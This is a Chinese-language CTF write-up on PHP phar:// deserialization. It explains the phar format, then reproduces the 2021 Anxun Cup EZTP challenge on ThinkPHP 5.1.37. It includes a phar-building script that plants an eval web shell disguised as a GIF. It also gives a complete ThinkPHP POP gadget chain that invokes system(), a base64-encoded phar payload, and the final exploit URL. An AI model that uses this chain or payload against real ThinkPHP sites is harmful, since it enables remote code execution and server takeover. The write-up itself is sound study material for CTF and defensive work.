PHP反序列化:phar伪协议(兼2021安洵杯 EZTP复现)
一、phar介绍
简单来说phar就是php压缩文档。它可以把多个文件归档到同一个文件中,而且不经过解压就能被 php 访问并执行,与file:// php://等类似,也是一种流包装器。
phar结构由 4 部分组成
- stub phar 文件标识,格式为 xxx<?php xxx; __HALT_COMPILER();?>;
- manifest 压缩文件的属性等信息,以序列化存储;
- contents 压缩文件的内容;
- signature 签名,放在文件末尾;
这里有两个关键点,一是文件标识,必须以__HALT_COMPILER();?>结尾,但前面的内容没有限制,也就是说我们可以轻易伪造一个图片文件或者pdf文件来绕过一些上传限制;二是反序列化,phar存储的meta-data信息以序列化方式存储,当文件操作函数通过phar://伪协议解析phar文件时就会将数据反序列化,而这样的文件操作函数有很多。
二、例题
1.
假定一个php页面
<?php if(isset($_GET['filename'])){ $filename=$_GET['filename']; class MyClass{ var $output='echo "hello world!";'; function __destruct(){ eval($this->output); } } file_exists($filename); } else{ highlight_file(__FILE__); } ?>
上网冲浪可知phar反序列化会影响下列函数
这里file_exists()函数会将参数反序列化。可以先在目录制作一个phar文件,里面manifest填一个序列化的MyClass,其中$output用其他代码覆盖。然后让filename用phar伪协议指向这个文件。
exp:
<?php // phar.readonly无法通过该语句进行设置: init_set("phar.readonly",0); class MyClass{ var $output = '@eval($_GET[_]);'; } $o = new MyClass(); $filename = 'poc.phar';// 后缀必须为phar,否则程序无法运行 file_exists($filename) ? unlink($filename) : null; $phar=new Phar($filename); $phar->startBuffering(); $phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); $phar->setMetadata($o); $phar->addFromString("foo.txt","bar"); $phar->stopBuffering(); ?>
然后可以把poc.phar文件名改成任意名字(如这里改成poc.gif伪装图片文件)放到网站的路径下。然后get
?filename=phar://poc.gif&_=[any code];
造成RCE.
2.
[2021安洵杯 EZTP]
首先www.zip得到源码(这里复现也是用的这个文件)。发现这是个thinkphp框架。网页上随便乱输一个不存在的页面得到其版本。
网上搜直接搜thinkphp v5.1.37,会发现只能搜到它的反序列化漏洞哈哈哈哈哈哈哈哈哈。可以直接抄一个链子,然后想办法触发它。
在源码文件WWW\127.0.0.17\application\index\controller下找到index页面源码
<?php namespace app\index\controller; use think\Controller; class Index extends controller { public function index() { return '<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px;} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:) </h1><p> ThinkPHP V5.1<br/><span style="font-size:30px">12载初心不改(2006-2018) - 你值得信赖的PHP框架</span></p></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=64890268" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="eab4b9f840753f8e7"></think>'; } public function hello() { highlight_file(__FILE__); $hello = base64_encode('Welcome to D0g3'); if (isset($_GET['hello'])||isset($_POST['hello'])) exit; if(isset($_REQUEST['world'])) { parse_str($_REQUEST['world'],$haha); extract($haha); } if (!isset($a)) { $a = 'hello.txt'; } $s = base64_decode($hello); file_put_contents('hello.txt', $s); if(isset($a)) { echo (file_get_contents($a)); } } }
进hello函数只需访问(至于为什么和路由有关,这个以后填坑)
http://127.0.0.17/public/index.php/index/Index/hello
代码审计。从file_get_contents()往上逆推思路:
1.要覆盖变量$a为phar://hello.txt,从而通过file_get_contents()触发反序列化
2.要令$s为phar文件内容,里面写好网上抄来的pop链对象
3.$s=$hello,但是hello在url解析时不能被识别出来。观察parse_str()和extract(),可以get:?world=hello=xxx%26a=phar://hello.txt(%26是&)这样,这两个函数就会把$hello和$a抠出来,一举两得。
现在只需要弄出phar文件,把它赋予hello就行了。
在网上找一个链子,修改一下:
<?php namespace think { class Request { protected $hook = []; protected $config = []; protected $filter; protected $param = []; public function __construct() { $this->filter = 'system'; $this->param = ['calc'];//因为复现用的是windows靶机,就启动计算器测试一下。做题时换成$this->param = ['cat /*']; $this->hook = ['visible' => [$this, 'isAjax']]; $this->config = ['var_ajax' => '']; } } abstract class Model { protected $append = []; private $data = []; function __construct() { $this->append = ['Th0r' => ['a']]; $this->data = ['Th0r' => new Request()]; } } } namespace think\model { use think\Model; use think\Request; class Pivot extends Model { } } namespace think\process\pipes { use think\model\Pivot; class Pipes { } class Windows extends Pipes { private $files = []; function __construct() { $this->files = [new Pivot()]; } } } namespace { /*写phar*/ use think\process\pipes\Windows; $phar = new Phar("phar1.phar"); //后缀名必须为phar,压缩后的文件名 $phar->startBuffering(); $phar->setStub(" __HALT_COMPILER(); ?>"); //设置stub $o = new Windows(); // $o->data = 'hu3sky'; $phar->setMetadata($o); //将自定义的meta-data存入manifest $phar->addFromString("foo.txt", "bar"); //test为内容test.txt为要压缩的文件(可以不存在) //签名自动计算 $phar->stopBuffering(); // echo base64_encode(serialize(new Windows)); /*读phar并 1.base64encode 2.urlencode*/ echo urlencode(base64_encode(file_get_contents('./phar1.phar'))); //IF9fSEFMVF9DT01QSUxFUigpOyA%2FPg0K0QEAAAEAAAARAAAAAQAAAAAAnAEAAE86Mjc6InRoaW5rXHByb2Nlc3NccGlwZXNcV2luZG93cyI6MTp7czozNDoiAHRoaW5rXHByb2Nlc3NccGlwZXNcV2luZG93cwBmaWxlcyI7YToxOntpOjA7TzoxNzoidGhpbmtcbW9kZWxcUGl2b3QiOjI6e3M6OToiACoAYXBwZW5kIjthOjE6e3M6NDoiVGgwciI7YToxOntpOjA7czoxOiJhIjt9fXM6MTc6IgB0aGlua1xNb2RlbABkYXRhIjthOjE6e3M6NDoiVGgwciI7TzoxMzoidGhpbmtcUmVxdWVzdCI6NDp7czo3OiIAKgBob29rIjthOjE6e3M6NzoidmlzaWJsZSI7YToyOntpOjA7cjo4O2k6MTtzOjY6ImlzQWpheCI7fX1zOjk6IgAqAGNvbmZpZyI7YToxOntzOjg6InZhcl9hamF4IjtzOjA6IiI7fXM6OToiACoAZmlsdGVyIjtzOjY6InN5c3RlbSI7czo4OiIAKgBwYXJhbSI7YToxOntpOjA7czo0OiJjYWxjIjt9fX19fX0HAAAAZm9vLnR4dAMAAADN0KhhAwAAAKqM%2F3a2AQAAAAAAAGJhcj2Y8W%2FiBnOmVms8oXJRj5sNJYHVAgAAAEdCTUI%3D }
最终payload:
http://127.0.0.17/public/index.php/index/Index/hello?world=hello=IF9fSEFMVF9DT01QSUxFUigpOyA%2FPg0K0QEAAAEAAAARAAAAAQAAAAAAnAEAAE86Mjc6InRoaW5rXHByb2Nlc3NccGlwZXNcV2luZG93cyI6MTp7czozNDoiAHRoaW5rXHByb2Nlc3NccGlwZXNcV2luZG93cwBmaWxlcyI7YToxOntpOjA7TzoxNzoidGhpbmtcbW9kZWxcUGl2b3QiOjI6e3M6OToiACoAYXBwZW5kIjthOjE6e3M6NDoiVGgwciI7YToxOntpOjA7czoxOiJhIjt9fXM6MTc6IgB0aGlua1xNb2RlbABkYXRhIjthOjE6e3M6NDoiVGgwciI7TzoxMzoidGhpbmtcUmVxdWVzdCI6NDp7czo3OiIAKgBob29rIjthOjE6e3M6NzoidmlzaWJsZSI7YToyOntpOjA7cjo4O2k6MTtzOjY6ImlzQWpheCI7fX1zOjk6IgAqAGNvbmZpZyI7YToxOntzOjg6InZhcl9hamF4IjtzOjA6IiI7fXM6OToiACoAZmlsdGVyIjtzOjY6InN5c3RlbSI7czo4OiIAKgBwYXJhbSI7YToxOntpOjA7czo0OiJjYWxjIjt9fX19fX0HAAAAZm9vLnR4dAMAAABStahhAwAAAKqM%2F3a2AQAAAAAAAGJhcui1dgJQNuTaCXKRUQLsVJql7DWEAgAAAEdCTUI=%26a=phar://hello.txt
具体比赛时:
不会真有CTFER有女朋友吧
参考链接:PHP反序列化入门之phar